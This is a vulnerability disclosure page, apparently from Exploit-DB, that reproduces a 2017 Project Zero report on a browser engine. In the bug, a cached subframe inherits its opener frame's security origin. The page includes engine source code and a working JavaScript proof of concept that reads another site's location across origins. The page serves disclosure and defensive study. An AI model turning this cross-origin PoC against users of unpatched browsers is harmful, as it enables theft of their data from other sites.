Inheriting Security Origin from Opener Frame

vendor:

N/A

by:

Project Zero

8,8

CVSS

HIGH

Security Origin Inheritance

250

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2017

Inheriting Security Origin from Opener Frame

When a document loads 'about:blank' or 'about:srcdoc', it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. However, when the subframe is cached, only the parent frame is detached but not the opener frame. This allows the subframe to inherit the opener frame's security origin.

Mitigation:

Ensure that the parent frame and opener frame are both detached when the subframe is cached.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1176

When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.

void Document::initSecurityContext()
{
    ...
    if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.
        return;

    // If we do not obtain a meaningful origin from the URL, then we try to
    // find one via the frame hierarchy.
    Frame* parentFrame = m_frame->tree().parent();
    Frame* openerFrame = m_frame->loader().opener();

    Frame* ownerFrame = parentFrame;
    if (!ownerFrame)
        ownerFrame = openerFrame;

    if (!ownerFrame) {
        didFailToInitializeSecurityOrigin();
        return;
    }

    ...
    setCookieURL(ownerFrame->document()->cookieURL());
    // We alias the SecurityOrigins to match Firefox, see Bug 15313
    // https://bugs.webkit.org/show_bug.cgi?id=15313
    setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy());
    ...
}

PoC:
-->

<body>
Click anywhere.
<script>

window.onclick = () => {
    window.onclick = null;

    let w = open('about:blank', '', 'width=500, height=500');
    w.eval(`
let f = document.body.appendChild(document.createElement('iframe'));
f.contentWindow.name = 'zzz';
opener.open('about:blank', 'zzz');

function navigate(w, url, cb = null) {
    w.__check = true;

    let a = w.document.createElement('a');
    a.href = url;
    a.click();

    if (!cb)
        return;

    let it = setInterval(() => {
        let navigated = false;
        try {
            if (!w.__check)
                navigated = true;
        } catch (e) {
            navigated = true;
        }

        if (navigated) {
            clearInterval(it);
            cb();
        }
    }, 10);
}

navigate(opener, 'https://abc.xyz/', () => {
    f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';
    f.contentWindow.onbeforeunload = () => {
        f.contentWindow.onbeforeunload = null;

        navigate(window, 'about:blank');
    };

    navigate(f.contentWindow, 'about:srcdoc');
});`);
}

</script>
</body>